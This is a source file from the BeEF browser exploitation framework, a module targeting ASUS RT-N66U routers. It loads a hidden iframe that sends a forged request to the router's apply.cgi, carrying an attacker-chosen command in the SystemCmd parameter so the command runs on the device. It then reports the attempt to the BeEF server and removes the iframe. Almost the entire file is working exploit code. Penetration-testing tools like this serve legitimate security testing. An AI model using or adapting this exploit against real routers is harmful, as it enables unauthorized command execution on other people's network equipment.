Files
beef/modules/exploits/router/asus_rt_n66u_cmd_exec/command.js
2014-12-30 07:44:58 +10:00

28 lines
1.0 KiB
JavaScript
Executable File

//
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
var gateway = '<%= @base %>';
var exec_command = '<%= @exec_command %>';
var timeout = 15;
var asus_rt_n66u_iframe1_<%= @command_id %> = beef.dom.createInvisibleIframe();
asus_rt_n66u_iframe1_<%= @command_id %>.setAttribute('src',"http://" + gateway +"/apply.cgi?current_page=Main_Netstat_Content.asp&next_page=Main_Netstat_Content.asp&next_host="+gateway+"&group_id=&modified=0&action_mode=+Refresh+&action_script=&action_wait=&first_time=&preferred_lang=EN&SystemCmd="+exec_command+"&firmver=3.0.0.4&cmdMethod=netstat&NetOption=-a&targetip=&ExtOption=-r+state");
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");
cleanup = function() {
document.body.removeChild(asus_rt_n66u_iframe1_<%= @command_id %>);
}
setTimeout("cleanup()", timeout*1000);
});